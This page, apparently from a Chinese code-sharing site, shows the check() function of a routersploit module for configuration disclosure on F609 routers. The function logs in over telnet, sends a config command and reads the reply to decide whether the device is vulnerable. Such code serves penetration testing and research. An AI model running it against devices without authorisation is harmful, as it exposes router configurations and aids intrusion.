f609_config_disclosure.py 文件源码

python
阅读 19 收藏 0 点赞 0 评论 0

项目:routersploit 作者: reverse-shell 项目源码 文件源码
def check(self):
        try:
            tn = telnetlib.Telnet(self.target, self.telnet_port, timeout=10)
            tn.expect(["Login: ", "login: "], 5)
            tn.write(self.username + "\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(self.password + "\r\n")
            tn.write(self.config + "\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
            tn.close()

            if i != -1:
                return False  # target is not vulnerable
            else:
                if "<DM name=" in res:
                    return True  # target is vulnerable
        except Exception:
            return False  # target is not vulnerable

        return False  # target is not vulnerable
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号